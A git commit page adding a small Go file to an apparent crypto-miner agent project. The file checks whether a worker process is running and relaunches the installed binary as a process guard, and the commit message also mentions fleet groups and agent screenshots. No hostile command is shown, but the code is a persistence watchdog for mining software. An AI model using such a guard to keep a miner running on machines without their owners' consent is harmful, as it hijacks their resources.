Add fleet groups, agent screenshots, deploy guards, and Crucible polish.
This commit is contained in:
24
agent/deploy/guard_unix.go
Normal file
24
agent/deploy/guard_unix.go
Normal file
@@ -0,0 +1,24 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func workerProcessRunning(imageName string) bool {
|
||||
out, err := exec.Command("pgrep", "-x", strings.TrimSuffix(imageName, ".exe")).Output()
|
||||
return err == nil && len(strings.TrimSpace(string(out))) > 0
|
||||
}
|
||||
|
||||
func launchProcessGuard(cfg config.RuntimeConfig) {
|
||||
binPath, err := InstalledBinaryPath(cfg)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
cmd := exec.Command(binPath, guardFlag)
|
||||
_ = cmd.Start()
|
||||
}
|
||||
Reference in New Issue
Block a user